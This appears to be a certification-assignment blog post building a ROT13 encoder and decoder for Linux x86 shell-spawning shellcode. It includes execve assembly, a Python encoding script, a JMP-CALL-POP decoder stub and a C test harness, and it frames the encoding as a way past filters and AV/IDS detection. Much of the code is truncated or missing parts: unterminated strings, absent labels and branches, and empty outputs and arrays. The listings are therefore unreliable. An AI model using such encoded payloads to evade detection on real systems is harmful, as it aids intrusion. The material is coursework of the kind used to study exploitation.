SLAE #4: Custom Encoder

The fourth SLAE assignment consists in writing a custom shellcode encoder.

Encoding the shellcode can serve for various purposes. It can be used to bypass certain filters, get rid of bad characters, transform the shellcode into pure alphanumeric, etc.

It can also be used to avoid IDS or AV detection. However, most well known encoders are fingerprinted and detected by modern products.

I’ll write a ROT13 encoder/decoder to complete this assignment. ROT13 is a simple substitution cipher that replaces each letter with the letter that is 13 positions away in the alphabet. Once the end of the alphabet is reached, the algorithm wraps around and starts from the beginning of the alphabet again.

ROT13 is a super weak cipher and shouldn’t be used for anything serious.

The alphabet in this case is not only A-Z letters, but the full 0x00-0xFF range to cover all possible opcodes.

The shellcode to be encoded is a simple execve that spawns a shell.

global _start           

section .text

    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80

Next step is to assemble, link, and extract the opcodes.

$ nasm -f elf32 -o execve-shell-stack.o execve-shell-stack.nasm
$ ld -z execstack -o execve-shell-stack execve-shell-stack.o 
$ objdump -d ./execve-shell-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We can write a simple python script that encodes a given shellcode using ROT13 and prints the encoded output. The script will also print a nasm-friendly formatted shellcode that can be used directly in the nasm file.

Note that the n value can be changed to use any other ROT-n encoding scheme, since the algorithm stays the same.

#!/usr/bin/env python

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"

n = 13 # rot-n
max_value_without_wrapping = 256 - n

encoded_shellcode = ""
db_shellcode = []

for x in bytearray(shellcode):
    if x < max_value_without_wrapping:
        encoded_shellcode += '\\x%02x' % (x + n)
        db_shellcode.append('0x%02x' % (x + n))
        encoded_shellcode += '\\x%02x' % (n - 256 + x)
        db_shellcode.append('0x%02x' % (n - 256 + x))

print "Encoded shellcode:\n%s\n" % encoded_shellcode

print "DB formatted (paste in .nasm file):\n%s\n" % ','.join(db_shellcode)

ROT13 just rotates the values, so the encoded version has the same length as the original shellcode.

$ python 
Encoded shellcode:

DB formatted (paste in .nasm file):

Now it’s time to write the decoder in assembly. The program will use the JMP-CALL-POP technique to get the address of the encoded shellcode, decode it, and execute it.

global _start           

section .text

    jmp short call_decoder

    pop esi                     ; shellcode address
    xor ecx, ecx                ; zero out ecx
    mov cl, len                 ; initialize counter

    cmp byte [esi], 0xD         ; can we substract 13?
    jl wrap_around              ; nope, we need to wrap around
    sub byte [esi], 0xD         ; substract 13
    jmp short process_shellcode ; process the rest of the shellcode

    xor edx, edx                ; zero out edx
    mov dl, 0xD                 ; edx = 13
    sub dl, byte [esi]          ; 13 - shellcode byte value
    xor ebx,ebx                 ; zero out ebx
    mov bl, 0xff                ; store 0x100 without introducing null bytes
    inc ebx
    sub bx, dx                  ; 256 - (13 - shellcode byte value)
    mov byte [esi], bl          ; write decoded value

    inc esi                     ; move to the next byte
    loop decode                 ; decode current byte
    jmp short shellcode         ; execute decoded shellcode

    call decoder
        db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b
        db 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d
    len: equ $-shellcode

Since the program writes to the .text segment, it needs to be linked using the -N flag.

$ nasm -f elf32 -o rot13-decoder.o rot13-decoder.nasm
$ ld —help | grep .text
  -N, —omagic                Do not page align data, do not make text readonly
$ ld -z execstack -N -o rot13-decoder rot13-decoder.o 

A quick inspection with objdump -M intel -d rot13-decoder shows that there are no null bytes.

The final shellcode is 68 bytes long. It contains the decoder stub prepended to the encoded shell spawning shellcode.

#include <stdio.h>
#include <string.h>

unsigned char code[] =
// Decoder stub:
// Encoded shellcode:

int main(void) {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;

Keep in mind that this code needs to be compiled with an executable stack.

$ gcc -o shellcode shellcode.c -z execstack

You can find the code for this assignment on my Github repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-­651


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s